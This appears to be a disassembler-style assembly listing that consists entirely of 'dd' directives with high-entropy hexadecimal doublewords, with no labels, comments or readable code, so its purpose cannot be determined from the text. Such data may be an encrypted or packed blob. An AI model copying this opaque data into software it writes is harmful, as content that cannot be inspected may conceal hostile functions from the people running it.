		dd 0B5C9E980h, 4085F47h, 0E6462FCBh, 9300C3F8h,	0BB492C6Bh
		dd 4A028AB2h, 1112E752h, 0A84F2F21h, 92532DC2h,	705688h
		dd 60CBBCD7h, 20E35B61h, 4948F3ECh, 0FC131219h,	9F3E45E1h
		dd 5E3689EDh, 3BC4094Eh, 11CFB7D5h, 2A2831Ah, 8BD8E8BCh
		dd 8B059FA7h, 5B75A626h, 46009BE2h, 506A61BDh, 450015ADh
		dd 286D446Fh, 9D43A3F6h, 9069F456h, 0E10434h, 86EE903Dh
		dd 0F4BDEB6Ch, 20FBC700h, 0A719AC63h, 0BDFF4B6Ah, 1C0D2409h
		dd 0F246E4A5h, 45D41FAFh, 5FBF8348h, 90F9BD77h,	29AE8923h
		dd 65447131h, 8D93E416h, 70231120h, 63BF00B0h, 0E624AF75h
		dd 0A45E970h, 0A82BD1D1h, 6BD70176h, 71E4BEE8h,	0C580902Ch
		dd 0B719DCC8h, 56FEAF13h, 8C5FDF23h, 0DB225AB9h, 542D48B4h
		dd 0C1BD8E1Fh, 9501C611h, 247799EEh, 98E0094Fh,	0F94B5370h
		dd 0DC564E82h, 0D1DF42E4h, 40DDF2E2h, 7D99ECh, 0FE4689B1h
		dd 5B73FC86h, 329CC95h,	8AA1622Fh, 0CAAC8704h, 23B11859h
		dd 4FE9D17Dh, 3FC78A7Fh, 0D8484566h, 0E92309BBh, 6E70101Ch
		dd 1A99F4A0h, 80124A83h, 541BD3Dh, 4BEF8088h, 97792C9h
		dd 0BDFB8B10h, 0F84B52C4h, 7051708Dh, 0F26F95AFh, 38F990F5h
		dd 648A4BEDh, 0DFC9C85Bh, 0E2BBD000h, 0F11B9F04h, 0A1419840h
		dd 654395ACh, 3259B129h, 10268A2Bh, 0A9934A72h,	0F3B8B0h
		dd 0AA4ACC41h, 0B9D33E63h, 4AAAF24Ch, 9D08E9A6h, 61882635h
		dd 0B90F1611h, 53B770B9h, 17758CDDh, 0FC3CE1F7h, 4DFDB523h
		dd 1C8C8FFh, 0CB99D5Eh,	0F6D22B12h, 0EFE1E0FAh,	0B5539551h
		dd 0D4F5D469h, 32FAD01Dh, 39585B44h, 0E4257783h, 499C1FFh
		dd 0FD9B6F1Bh, 127DB7D6h, 85E2C569h, 5BB14750h,	80309C11h
		dd 0CC6CC725h, 0A1BD1080h, 7023E904h, 6B9F1400h, 0A834A2F0h
		dd 0C5864900h, 6F7C8344h, 51D02795h, 0C300E0E4h, 298AC43Ch
		dd 696C2Ch, 0C5845E46h,	91715C6Ah, 0F95FA109h, 4484715Bh
		dd 28FC5353h, 91B541E7h, 6E7E090Dh, 0C7591D1Fh,	4DFC9C56h
		dd 57263520h, 0BC604260h, 9598Fh, 5C82346Ch, 0DE07FE29h
		dd 7549A902h, 0C25A571Eh, 5050567Eh, 6FBD0489h,	3F2B4728h
		dd 0A0A118E0h, 6AF3F95Bh, 60D985F0h, 0B9CF341Ah, 0F01F29Ch
		dd 45CDBF52h, 0F27F2397h, 0A560C8E0h, 0FE05111Ah, 0F5CEBB85h
		dd 4118609h, 2283D55h, 50F8F9CEh, 99720255h, 93340F33h
		dd 85953104h, 53600930h, 48AA710Eh, 90983365h, 31531665h
		dd 80B420EBh, 614A0DF5h, 77AC1284h, 351DE84Ah, 51FF955Dh
		dd 0ABAC74CDh, 0FC8CB812h, 0D3EB53E4h, 8183DB1Fh, 0DF8BE368h
		dd 92FEA73Ah, 0AEA59CF6h, 0D9A598h, 0CB81ECE8h,	6971056Ah
		dd 51FFC197h, 24FF217Ah, 0B2CF0728h, 0BD8B0CA4h, 0AC686210h
		dd 0ECC79D19h, 0C62F603Ah, 0C5993E0Eh, 9ABA1080h, 696CEDA9h
		dd 0FF4E98h, 5766533Eh,	0DA8B2D13h, 9DD62CFCh, 0FB638130h
		dd 0A93B9C09h, 8208716Ch, 229E9FCh, 6C60BF4Fh, 4825BB3h
		dd 18EBE9C9h, 0C1FFACCEh, 3035BD33h, 0C985090Bh, 0CB37D512h
		dd 74801891h, 404DA063h, 57B3604Fh, 9B1DBA00h, 2B612662h
		dd 2F119D12h, 0FAD3C6ADh, 2ED825D8h, 2330689h, 26AAB16h
		dd 505F344Ch, 432D282h,	0B8AC5Fh, 609661B3h, 2F9BBE66h
		dd 0FFD28AEEh, 4ED5FC82h, 0FFB624C2h, 765CBF1Bh, 44A40E41h
		dd 0B39912D6h, 0A0F696C9h, 4D5359A0h, 9637C116h, 2F2705ACh
		dd 3AC018FDh, 794800B1h, 2E7DE471h, 0BB0087C3h,	0C0868A5Bh
		dd 91EA202h, 8D0FF9D1h,	5F59455Eh, 53F1282Bh, 31958D98h
		dd 87485F6Fh, 0F09141B0h, 655D4BFh, 0CF269D85h,	434E5CA5h
		dd 0BD7F6B3h, 54001E59h, 77FDA53Dh, 25C704Bh, 18F744Eh
		dd 0ED60AB2Fh, 0BD094A30h, 715F5B24h, 0AEFB9623h, 833D006Fh
		dd 6B02B1ADh, 295CD69Dh, 0F620F627h, 6FDC5609h,	0FA06475h
		dd 4F29FF1Fh, 12A638E0h, 0C003B51h, 0B2BC50F3h,	275AD161h
		dd 0C35AE206h, 0C0A7ED95h, 0D43F3AD5h, 0DCBC9550h, 922AE04Ch
		dd 4F00987Bh, 0ED646B53h, 1F07CB39h, 80BF444Bh,	0C1600892h
		dd 0A86A6125h, 71D8C92Dh, 0F6DEB54h, 7A457549h,	76274A1Ch
		dd 0E5FEF405h, 991FE907h, 3E57B0D2h, 0D03A530Bh, 3E0A9B78h
		dd 86E81CDBh, 0D7EAFE25h, 0F9601CC4h, 4B0003A0h, 26CAFA38h
		dd 759D316Eh, 3F229765h, 8957D701h, 4F0E59A8h, 3E0A4C51h
		dd 9DACCE39h, 264FC5E3h, 0B0BCDCBDh, 0A83BBD05h, 9FEBB5FFh
		dd 1AB38127h, 352ED519h, 0C9A68122h, 32A66A29h,	775A6F5h
		dd 0B0B931ECh, 0B90E6123h, 0C60F97Dh, 0A8305A41h, 0CDAB5E5h
		dd 6302238Bh, 96001C7Dh, 1DF2EEBFh, 0EF50776Bh,	0E3F15A13h
		dd 0FB49ECBBh, 0A7941200h, 16407C46h, 0DCD95E2h, 8D601B64h
		dd 3203C99Dh, 0DAB2779Eh, 2ED4C733h, 5A438BAAh,	27BF06Ah
		dd 0CA8F57ACh, 0CBA96A39h, 809EBDFDh, 0D7CE3498h, 9A09807Fh
		dd 0D51A8F27h, 21DFD231h, 8EA83A71h, 235FA0D7h,	0B4DD705Ah
		dd 0FF1A523Bh, 5400B77Bh, 5DD34272h, 4A2F8AC7h,	54B46298h
		dd 355325E0h, 0D3B88609h, 0E5E0D8E2h, 0A1C94A00h, 95741C27h
		dd 4CF56B97h, 96C74B6Dh, 0BD939AF1h, 4E194620h,	962AAE1Fh
		dd 0AA83D3DDh, 71EB2812h, 6A2A05BDh, 15C87C9Bh,	20F003C3h
		dd 965A31B7h, 812C25EAh, 7E5B5FF9h, 0F33B18Ch, 0D84E5C19h
		dd 45C2E0B3h, 16791456h, 6BAAFA8Bh, 73605FDAh, 98116333h
		dd 2D1D25A7h, 697E16D5h, 2C0F3333h, 0D12C32C8h,	0C69F6328h
		dd 0D4EA9F43h, 29DA1057h, 74DE0098h, 0A1AC8B9Fh, 3700A42Ch
		dd 0BC451003h, 64506FD1h, 0FA55E278h, 9FAACB53h, 18E2C469h
		dd 4710FA64h, 5B30922Ch, 0A73991h, 2D5E41D5h, 0B435EED1h
		dd 8D4C2416h, 0E38462A9h, 0A2CCAC41h, 0C0FCCF64h, 0C7D3ECA4h
		dd 0FC791017h, 1AACAFFDh, 3709008Ch, 0D064B0CEh, 0D397C6F6h
		dd 2EB400AAh, 213D3854h, 831B8105h, 17BBFFC5h, 5F00A97Ch
		dd 67ED2DF9h, 39A06BAh,	9D129BDh, 0FFF42EE9h, 0C71A6D5Fh
		dd 0FEEB8110h, 0C87C2166h, 715FB7C1h, 16B268F6h, 4EB80230h
		dd 124BB89Dh, 9C8257B9h, 0FC2FC22Bh, 0B7D52574h, 98DDA5AAh
		dd 2DC49D7Dh, 18510AB3h, 12A1A07h, 5C2CE9C2h, 0D94F872Ah
		dd 0AFB7621Fh, 6D25A656h
		dd 8779C12Fh, 0E0A33F41h, 43F4B57Bh, 0F9A976B5h, 92536A2Fh
		dd 2D664178h, 0BA514C72h, 0BBE1F598h, 0CCCD4A67h, 0BD130B63h
		dd 8AAA031Dh, 0B76A4A6Ah, 97B99E09h, 23C14982h,	0F9D1FF01h
		dd 6017C86Fh, 0FCC79F00h, 7203B922h, 0A4C22507h, 61115865h
		dd 0C39EAC5Eh, 0F990026Ah, 27401F82h, 2FFBA2B9h, 8D442AE3h
		dd 7E5C712h, 8ADFC8FAh,	0EFB6500h, 2933166h, 0BAED4E03h
		dd 90D80905h, 1516FEEh,	80B562FBh, 4A66DEF7h, 0E6DF8114h
		dd 0E925C204h, 638AB57h, 952B9059h, 6C78D27Bh, 0CCCB0798h
		dd 0F79C9654h, 0A3785BA1h, 2B782E41h, 7973120h,	0D5798DBFh
		dd 0B79D0414h, 0E2E60F44h, 0EA5856A1h, 0CB123850h, 0B18DDC8Ah
		dd 4173974h, 0A6A58EA8h, 0C629A31Bh, 23AD2D54h,	0FC447D51h
		dd 0E5202866h, 26A7D28h, 9C7ECB81h, 30F55A84h, 4191BDC9h
		dd 0ED46301Eh, 0B7B70976h, 7EF8AD5Ch, 48C73B06h, 2D86E0BFh
		dd 0AE511AF5h, 88531744h, 98002D23h, 0C6BA6462h, 7DA318h
		dd 0B6D26F43h, 8849124Eh, 44859912h, 8D08B2A8h,	0E44032E9h
		dd 12F0BB71h, 0B40A3454h, 8B8AE557h, 4152D6C8h,	6F1FFDBDh
		dd 0F93D7FF3h, 18799589h, 4425625Bh, 5F62009Fh,	0F37BF6F0h
		dd 9A26D391h, 0C425F7E8h, 69B70082h, 0A69D586Fh, 5F5FA92Dh
		dd 5912E0E2h, 4360AA12h, 2553A458h, 846287EEh, 2A5136C0h
		dd 15C82B80h, 0DFD59D31h, 0EBD18B12h, 0A805F88h, 76E953F3h
		dd 1C8B48E1h, 605F474Ch, 828031B8h, 4918AD4Fh, 0CD3B6120h
		dd 6F002A11h, 0DEEAB4BBh, 8410D720h, 4053FB13h,	13D49BFDh
		dd 0C72CE519h, 0AFB22A39h, 271A392h, 7213FBBh, 0ABB9604Ch
		dd 75919517h, 56F9121Bh, 6EB3C270h, 2A65C388h, 0CA214A74h
		dd 5BD31761h, 2BE8DDF9h, 57EC8BBFh, 0F3814637h,	15C13B34h
		dd 6678302Bh, 0BD0019BFh, 4962AEBBh, 0BAB8B978h, 7B9AB3E7h
		dd 682E40E8h, 0AAA51804h, 0A0FABF0Fh, 952A0121h, 6EEFC631h
		dd 7B1DB36Eh, 0EAC244B6h, 16910482h, 4EFCF2EFh,	0E004F6Ah
		dd 29B27892h, 899FA99Dh, 0F8CDDF21h, 272185A5h,	8ECBDEFBh
		dd 2377816Dh, 9E7E880Dh, 0F847C0ABh, 474B843h, 300698C1h
		dd 98B6EBFAh, 0B8154112h, 3EF31363h, 304BE8FCh,	0F1D3BB88h
		dd 0A8738428h, 511ED52Dh, 22F46B72h, 6D4900D4h,	91F2B45Bh
		dd 0E5BF7DBCh, 0FC88C415h, 75DBC191h, 302C602Ch, 0E4D51189h
		dd 1B5E03CEh, 0DC7FC3A6h, 0C5D681A0h, 213A3005h, 84BF2961h
		dd 5F38AAF4h, 9E6AE1B2h, 2CB08203h, 4060DC85h, 64C65EB8h
		dd 3719E00h, 0F608D9EAh, 8DDE0143h, 884117B6h, 0EF57C2B8h
		dd 5C8760DDh, 80EEB67Ch, 320B9524h, 1759B504h, 0E07474ABh
		dd 2974037Ch, 0B408C701h, 0E1FF04C5h, 2FB98A69h, 7DD10CB9h
		dd 0DD88ED07h, 0DE6193CFh, 33AB7400h, 0B798489Ah, 0ADB92564h
		dd 6D123AC5h, 3DC08AADh, 0EB5558F7h, 3200C6FAh,	35C98645h
		dd 8859BB5h, 67AB1D3Eh,	9F046358h, 0C241894Fh, 327C4EF3h
		dd 0E2D34212h, 93FD8E32h, 37A20AE7h, 6C99EF00h,	0DCCD9460h
		dd 45E05316h, 0C64A2BA8h, 3482980Fh, 7141C774h,	1FC35C5h
		dd 28C80051h, 211BEF4Bh, 52B5F5F7h, 800CB12Ch, 0D7BDF4C3h
		dd 0F209D964h, 723370C4h, 8201E811h, 9D9597Dh, 46D5D88Ah
		dd 0F9C95F0Ah, 0B4089399h, 0F8501229h, 0A8C09E25h, 43FAE3B8h
		dd 1DD30202h, 5B50BB6Eh, 5EE612D5h, 0AE6A93F8h,	9E00486Fh
		dd 63BDA868h, 9606F7BBh, 8A0F0BADh, 48DA98C9h, 222D9631h
		dd 0F0CB0A59h, 72F19D78h, 6040F4A5h, 0E1649F47h, 0A759D02h
		dd 5F0B0541h, 0B72025C4h, 40CE9D95h, 5F0244B5h,	0BC77ED58h
		dd 3B6904CBh, 0A83714A4h, 249BD01Ah, 62A5FDF9h,	4BCF5F29h
		dd 0F48F2160h, 0AE1E2769h, 0BB608256h, 15263A58h, 0A6F3E918h
		dd 9290F95Bh, 0BE4235BBh, 2DFF3CC4h, 0B27666F3h, 0B5E7D88Bh
		dd 0FA4BC450h, 0D88261BFh, 5D162E61h, 0E5C0579Eh, 11235A5Ch
		dd 7850F11h, 0F9BF5102h, 0F38EE85Bh, 0C96634C1h, 0A7F92B52h
		dd 820E0D3h, 0B6068980h, 9F886B7Ah, 0FAF9A788h,	6DF854h
		dd 0E95620E8h, 0E1FDBBAAh, 64181C27h, 1D1F0060h, 0A89D52C2h
		dd 0A3001798h, 396DE772h, 787CCE4Bh, 0BA8B088h,	760DA669h
		dd 56870A56h, 0F6795F51h, 2DF552B1h, 8DE10C6Eh,	1A2A662Eh
		dd 9F1FD29Fh, 13C08E4Dh, 7847CB01h, 6919136Ah, 0AC8DFA09h
		dd 5777C53Bh, 0F0DAA636h, 1766E54Ah, 0B83CFCBBh, 11B26A7h
		dd 0C8CC4A7Bh, 0E992FE5Bh, 0BF8805F4h, 0DA891259h, 60EB2137h
		dd 701D2E53h, 47CF8A4Eh, 121F61FCh, 4950C04h, 0D0119BEAh
		dd 0BFFFC462h, 0EF4B2ECBh, 9FD2704h, 0C5CD8002h, 450FC077h
		dd 9470822Eh, 0DB39BB13h, 124BB754h, 74AD2A5Dh,	9D2357C1h
		dd 5F582405h, 33526109h, 0CDE56BBDh, 23E07BFFh,	0C9CD1F15h
		dd 3359D88Bh, 0DEBF4744h, 617FC1BEh, 73608C94h,	0FA18D33Dh
		dd 9FC09Bh, 899326F9h, 0E7BF2120h, 0BF125EF5h, 0F52C4BCh
		dd 0DA88F4A2h, 0DE1BF4A5h, 0F06E639h, 0FC118CEFh, 0E2A1CC66h
		dd 5BA666h, 6A42D781h, 9D292B3Eh, 0B9BE21E2h, 0B9E351E9h
		dd 14918588h, 0B5BD0B50h, 0FE976D72h, 640BFE01h, 24579FCCh
		dd 20AED02Ch, 0A3FDB95Dh, 92A51000h, 611641DDh,	0BA80BF5Fh
		dd 52963BDAh, 0ED46D2BDh, 0E80FE3Ch, 79EDA472h,	23846C01h
		dd 35DE3B9Bh, 0EC319EE8h, 3766152Ch, 61857C25h,	0FE7AFB35h
		dd 0DC07EB4Fh, 75422B7Bh, 414D5514h, 0FA601BE4h, 96058E6Dh
		dd 0AD41E226h, 304208AAh, 84BF3572h, 0AC79FA11h, 6457C9D1h
		dd 4AC00E01h, 3F80F946h, 0EA890D1Ah, 0F88A0738h, 5A73E405h
		dd 0CA420970h, 563E13D3h, 0ACDFC4EBh, 0A7BB02E7h, 0FF6B5231h
		dd 51B526A1h, 0A25F0A2Ch, 0B89A002Ch, 644986C5h, 0C4044A1Bh
		dd 9770EBD8h, 17DD4553h, 0FDFF13EAh, 1849E836h,	0C6932F39h
		dd 0BC257AEBh, 103A7C50h, 9055811h, 140B6D8Dh, 0B3A2BF97h
		dd 75DBDD95h, 0B874D8h,	0AE2B540Fh, 853150D0h, 46F4894Ch
		dd 2B5F188Ah, 2D1F5D84h, 2B7492EDh, 781D94Bh, 0F0694517h
		dd 1D2B02Ch, 0E3EC9401h, 2D4CC4CEh, 0AEBD343Eh,	0CB9D33E3h
		dd 9EF6965Eh, 0EC372BDCh, 37FCA790h, 0E2A754EBh, 60563471h
		dd 44CC5149h, 9D33413Fh, 96002785h, 5073C6B7h, 0D39FC576h
		dd 0F3397104h, 845F809Bh, 136000E4h, 40D18D09h,	0F684BBD2h
		dd 614B2AD4h, 25BD4A98h, 0EA51314Dh, 0D4DE7C69h, 40D69325h
		dd 17541864h, 0F2830FF2h, 6C318096h, 0D411FCh, 0EC4B6757h
		dd 2379AA48h, 14E3E52h,	21A7BFFCh, 9C6A635Fh, 9285DA32h
		dd 0EC8DED69h, 58E1699Ch, 1C59EA53h, 36CFF019h,	0D4011200h
		dd 0BF8F9BC7h, 51110281h, 8D953141h, 0C613DC5Ch, 918419FDh
		dd 0F0F7BB8Ah, 0B3218612h, 15E6D3F2h, 258570A0h, 896F8302h
		dd 0D5232DBDh, 0C18B7930h, 1FF7BF3Eh, 38280918h, 46289D01h
		dd 3CB33F6Fh, 0FC39FD2Fh, 4287D0Eh, 0EFDCD65Ch,	5EB8A9A2h
		dd 977AAFh, 5DF7FBCh, 4672E19h,	1C60B68h, 6AC6E995h, 0FDEB056h
		dd 0C495EB64h, 210EC7EBh, 0D86A3024h, 0AB05F4DEh, 605F12DCh
		dd 0E8C58F01h, 207B071Fh, 0C4425D4Eh, 0A350C002h, 0C6ACD735h
		dd 453903F2h, 82862C5Bh, 8CF08893h, 5207735Ch, 5118F04h
		dd 5F38ECF1h, 0EECA66Eh, 29D87DE7h, 9B3D7029h, 50F17819h
		dd 0CA84CA39h, 0BC15CE88h, 0C76493Fh, 812A0769h, 0DB8006D8h
		dd 0E3F2226Dh, 0A7A6EB3Eh, 5583FE4Fh, 0AE9C6003h, 5C589283h
		dd 1846D63Ch
		dd 96673C02h, 9D57DDDh,	591E0938h, 9AD472Ah, 1F47DDEh
		dd 46F18902h, 0D895AE96h, 0CFA0B842h, 8701FB3Ah, 0E5C7800Ch
		dd 4A60026Ah, 9036010Ah, 0F3DA4CBFh, 8A5B6045h,	0E0557CB5h
		dd 0DDB05D52h, 37F9A709h, 70987B90h, 14C3E21h, 4A17C0BFh
		dd 132A83h, 0E5EAF73Fh,	5BFC2ECCh, 92B9454Eh, 4E8C14ACh
		dd 0FC4E3508h, 212322CBh, 0CFC70D4Ah, 6FBB1F95h, 0A81C013Ch
		dd 9D033B41h, 9D6A27D1h, 0E6B90075h, 0AC29018h,	0F15013A9h
		dd 41FC2D2Fh, 8FA444C0h, 590B01B1h, 0F529C55Dh,	1B3AA8CFh
		dd 5154B195h, 3B48E023h, 0F6AA4FA0h, 0EC51BD0Eh, 2BAFC1EEh
		dd 0F23FD67Bh, 2FF94B47h, 0D80022ECh, 0A8D05649h, 5F294E35h
		dd 89EAD08Dh, 84EA185h,	7D8429FFh, 2EBA8E9h, 0E761B0F1h
		dd 2246FF6Ah, 0AE13AB00h, 3F062128h, 8F5A0280h,	91F05017h
		dd 0F251E1C1h, 45A76FFDh, 3BA28Ch, 55EBA4F0h, 0F4F14DCh
		dd 7AA82F88h, 8B875320h, 105EA2B4h, 0AA3564BAh,	2F0F0872h
		dd 998D0BC2h, 61257D50h, 201258B0h, 0E6162D39h,	0E3C80170h
		dd 0A3715CE4h, 0A623B579h, 0DFE8529h, 0F8B7617Eh, 0AE954F53h
		dd 0B0B40A52h, 0C2DD8AD5h, 25A7560Eh, 23169F64h, 0DE9201BDh
		dd 10DFDEC1h, 0C4502534h, 5A16B090h, 0D58A221h,	0AF9D8531h
		dd 0EEF83Fh, 0D18BF9D9h, 3CDB81FCh, 32FC08D2h, 8A6D94E9h
		dd 4C506AE8h, 5A475525h, 53E89F5Eh, 519D810Fh, 891E6D9Fh
		dd 712425ABh, 0AA20927Dh, 6ABE9F70h, 70CC00A7h,	4E77DA2Bh
		dd 0ED1EF801h, 75ACF745h, 23094D11h, 1455BD9Dh,	880F1427h
		dd 8A8B9A0Bh, 8B098B44h, 0FF4D9059h, 36BC6A94h,	96ECB940h
		dd 0D8D402C4h, 573E53Bh, 0A6C8A25Ch, 0C318121h,	282E355Dh
		dd 6A418BA0h, 80D7FAD1h, 0B5C19D0Bh, 6A895A91h,	0EAB4DEF7h
		dd 692D9AA2h, 0F49D1F44h, 1D17A878h, 4FB35FDAh,	4A10C7B9h
		dd 9BAB6EC4h, 9CFB9641h, 0B12EB78Dh, 518FFFCh, 9508B3CFh
		dd 44BA1E91h, 48E6FF05h, 0A029F6D6h, 1D2DD7BCh,	0C5FD99D0h
		dd 0A6A20ADCh, 89B3E317h, 9BC02FD0h, 3E642F66h,	0D41B854h
		dd 0B1E4D15Dh, 4FA40404h, 8733E218h, 0B2494F4h,	20BFFF5Fh
		dd 4902D4AFh, 4BC0CDD7h, 0BB70BD6Ch, 0FEDCB701h, 8166455Ch
		dd 9575DA60h, 9D10516Ch, 3EE90A19h, 6C80F89Bh, 994790ACh
		dd 2F052A4Ch, 0F6E2F641h, 9E4BF772h, 7F228C8Ah,	0BD0680A6h
		dd 0BA37C50Bh, 2AED2776h, 0EA755492h, 3CF95FCFh, 0D43EB8FAh
		dd 47DA019Bh, 21BA5183h, 17E07F60h, 0A62A5A3Dh,	0E470F4E3h
		dd 4AEC221h, 2AD2FB09h,	0C425F953h, 9132B9Dh, 5971E14Fh
		dd 0A9533944h, 5EDFC200h, 514C5CF3h, 4EDE2A3Ch,	2F5EF3C1h
		dd 48282EF9h, 0B45F8BDAh, 9560CCB4h, 0C5755C92h, 4E9E03A1h
		dd 65A1302Ah, 3A4171B7h, 705B4F49h, 414DBF28h, 7C826BC4h
		dd 80D1A2B5h, 0C45BD7E1h, 12745D70h, 0EF6D4714h, 8331E29Ch
		dd 3BEE6DA7h, 0F2A47DF8h, 0E7EE005Ah, 617763D9h, 0FEAE4E1Ch
		dd 18591061h, 0E371AA05h, 0DD2AFBEBh, 0B48C6661h, 0A27B5FA5h
		dd 97274BACh, 26701A80h, 0A5109F68h, 0D73E627Dh, 8BE87B03h
		dd 0D1C84351h, 74806ADFh, 0F55C8828h, 2088083Fh, 0E27AC227h
		dd 0EDB571Ah, 84C31651h, 9A207C20h, 0FA01F82Ch,	0BBA0702Ch
		dd 0C0A46F9Dh, 0AAC6ACDAh, 0E37E8197h, 0C48822A3h, 0E9050A25h
		dd 68C801FDh, 0FE1F4AA1h, 97FE2E28h, 0D3552312h, 607270E2h
		dd 0B7869B07h, 0AE9AD812h, 0B52DA820h, 0E76FFCC4h, 3BF1A0F9h
		dd 194A18ECh, 891152B6h, 29602C0Ch, 20327908h, 0D1925F4h
		dd 0B72F0C54h, 2A9D035Bh, 2E5652Dh, 7268E797h, 0F8D15355h
		dd 715F9A72h, 1320EAF8h, 20F70A95h, 96250D11h, 0D8FD31FDh
		dd 0FA6FA42Eh, 37CCF782h, 0C39AD400h, 0EE29ACD3h, 2A323BFDh
		dd 0AD613600h, 4FF4259Ch, 10286841h, 0A22D2983h, 731DD6E0h
		dd 0F5AC3D5Ah, 3C5A27B7h, 0B7BF9604h, 69D30081h, 0E9EF4973h
		dd 1E6A412Ch, 69115D8Bh, 0A62ADE48h, 0F8BF002Eh, 0B1C1968h
		dd 0D98B245Eh, 1FE687BAh, 0FD6D9914h, 0B13CBEC0h, 4C1509DAh
		dd 2F1870ACh, 0AA142B60h, 4AF2757Ah, 0F7EE0AC4h, 57FA1BFh
		dd 5A26A26Ah, 0D81286D4h, 0B37B03C9h, 0A2C592E3h, 0E06BCCB5h
		dd 0B670EC09h, 0D390612Fh, 0A0F67051h, 64C4260Bh, 9085EB4h
		dd 5294153Dh, 75BD2309h, 4CF6A29h, 13B2D1C3h, 41774300h
		dd 0C03B5568h, 93976113h, 2AF939FEh, 0B74F3B28h, 1B60466Fh
		dd 9862E89Fh, 0E9D93D3Ch, 0B7FD4EE9h, 27678122h, 7A35DB80h
		dd 4251C0A3h, 0E4253A2Bh, 2A1B09AFh, 4FF41EF6h,	48BDED3Ah
		dd 18E0056Ah, 0FEF761A4h, 29FA9809h, 0BF261004h, 9C3519CEh
		dd 0B809BE79h, 734E560Ch, 0FB8503FBh, 301AF6Fh,	693E3906h
		dd 95E22EF0h, 1407A400h, 0C522B08h, 0D71C7809h,	0B91A5D0Dh
		dd 271091DCh, 0C7815F00h, 6BBC78E6h, 3BEEDB9Fh,	0FF099912h
		dd 0FC3E1C76h, 0E6F1B70Ah, 291ADF40h, 6B2EE348h, 271C2377h
		dd 1B6055D6h, 35290B7Dh, 0F8B7C9B5h, 8DE25E9Ch,	5083B880h
		dd 0B400F4ACh, 0F541DAC5h, 0F6A0D377h, 96FB2F8Bh, 6F13E8E1h
		dd 0A6F4BDF6h, 40E302D7h, 0D7579CB7h, 0FE1249FBh, 2F4395E7h
		dd 100975F0h, 0BC71EB33h, 0C5328FBBh, 47E5FF51h, 0A0328853h
		dd 12ECB542h, 42FB081h,	0F7806720h, 0A10997DCh,	80E83DD5h
		dd 0EDC475CFh, 597FB099h, 31148C02h, 0FF1FB185h, 6AF5E9B9h
		dd 6BA901FDh, 27838E60h, 859C4B1Eh, 0E1DDF6ADh,	7B28F07Ah
		dd 245BBD80h, 0B979845h, 5FCA09CFh, 1B4510CDh, 0CF358C60h
		dd 0F6982DD1h, 80579740h, 7FAAD325h, 0BB870B9Ah, 7FF60B4Dh
		dd 0B57C00FCh, 0E7E8CA5Ch, 0C595DBE3h, 0C0D150C6h, 0F8E2A702h
		dd 5C23ECD4h, 1846DCF3h, 329DCC00h, 0D781B80Ah,	0E66D6009h
		dd 0FEDE054Dh, 4889E1FAh, 750E8F9h, 573C4D1Eh, 90F600A6h
		dd 113AB85Bh, 5261E45Ch, 124A7596h, 0AA98A876h,	0ACB5CC09h
		dd 0B612982h, 0CB98BC55h, 719AD974h, 816FC575h,	0D667FCFAh
		dd 5F51F496h, 81427398h, 28875F76h, 0A23824E5h,	7C620A20h
		dd 8160735Ch, 976148F3h, 0FD42BF1Bh, 0C6F82514h, 25589881h
		dd 0CDFC1C45h, 0B7142571h, 0A3DB1243h, 1159D8FEh, 825F2A43h
		dd 0DD09060Ch, 96959464h, 62B30940h, 1C70F0E9h,	1DCE594h
		dd 836AB267h, 26C18B0Ah, 369F0FFh, 40E9BE60h, 0A936045Bh
		dd 2B1CA0FCh, 0AA41826Ah, 6FE0DD6Bh, 2DE4A8F0h,	0F0D48BB2h
		dd 0FA8C116h, 0A8D9B9E5h, 5994259Ch, 8B25FB76h,	116B7CCh
		dd 0C80E45EAh, 205A6C50h, 0C236D02Dh, 953FEF4Bh, 857C985Ah
		dd 0A08838D2h, 0DA560003h, 8FCFD3B4h, 87009432h, 931FA372h
		dd 5A88B510h, 29C3CC35h, 59D8D1Ah, 179B0295h, 259AF0F8h
		dd 0CB09EDBDh, 17F68454h, 48DD332h, 1E2775DCh, 30BE60D2h
		dd 0A1667EBCh, 3D4B2600h, 5B9A6442h, 61D6278Bh,	1C351FFFh
		dd 0B423817h, 3CF3280h,	9C29BD78h, 525D88F4h, 603CBB2Ch
		dd 910D8ADh, 1EFE1391h,	0D1F33B02h, 0F56A61F4h,	0D7A7B837h
		dd 0AF672525h, 0F6A438F6h, 610B279Fh, 0F26F2107h, 0C5858221h
		dd 571F3220h, 0D2E69380h, 976964A7h, 5744A814h,	0B7F6BD29h
		dd 5F026A89h, 1AC55EE7h, 0D1943A20h, 317EE897h,	95E0382Bh
		dd 8C041Fh, 9B101C99h, 0C62C8516h, 97CBAA2Ah, 4A61FA4Bh
		dd 55112CE5h, 4816C20Eh, 0B64A7321h, 51F1F07Eh,	2607F18h
		dd 4F871FE8h, 52F53147h, 8D614BF1h, 0BB086A59h,	0D7542512h
		dd 0B808F198h, 7465486Eh
		dd 0DBC105AAh, 4EA83419h, 7D3478Ah, 0F09DD59Bh,	0BF5632E7h
		dd 61F6C404h, 6EAB5F46h, 2D1C23D1h, 26F490D5h, 0BD665183h
		dd 0CA2A05C9h, 24FA4BD8h, 0DD71AA0Bh, 0E36F22A1h, 0D7B9F4C8h
		dd 2B435980h, 0A300210Fh, 0BFB93694h, 0D3CBB66h, 7D9531D2h
		dd 0E1C0306Fh, 84B5C09Ah, 29AB097Bh, 9C2CD2D7h,	0B0244039h
		dd 0F76B1BBCh, 70E67838h, 20FC4EBDh, 40B72919h,	9771E4CBh
		dd 0B840445Eh, 0E1ACCBh, 6048F295h, 0CDE8F011h,	855EA902h
		dd 0F377E4C3h, 2F8D896Dh, 0DA9BB17Fh, 2709EF08h, 846A1399h
		dd 0EAC28BADh, 3F410B04h, 1A610325h, 0F310D48h,	4B266356h
		dd 8B91692h, 199C098Ah,	60C1450Bh, 18418DAEh, 0D5F7882Ah
		dd 6788084Bh, 86EDF229h, 315C6063h, 67477F23h, 75619725h
		dd 77CED2D1h, 0E5800F22h, 5CA586B5h, 9E31181Ah,	4E494475h
		dd 0E14544C1h, 102BF1B5h, 3514D97Dh, 0BF70092Eh, 5154CEEEh
		dd 0E97E5FC8h, 2D42E6BEh, 0EB615C35h, 1D12E401h, 0E55FCE9Fh
		dd 9D290276h, 0D1162161h, 0BD0D5298h, 7F5D1199h, 5209DAB7h
		dd 54CD1F7Ah, 4B1D5CE9h, 2B9F55D8h, 6E6DD7F4h, 2BA430C0h
		dd 18E059Eh, 0FB062038h, 0C9D54B14h, 94CEDF49h,	225700BFh
		dd 4BF5B969h, 0A0C5E70Fh, 0E654E783h, 0BE6C50CCh, 0EBED1264h
		dd 2B97E12Eh, 25B893E9h, 539D5F09h, 0DA0981F1h,	6E6EFC68h
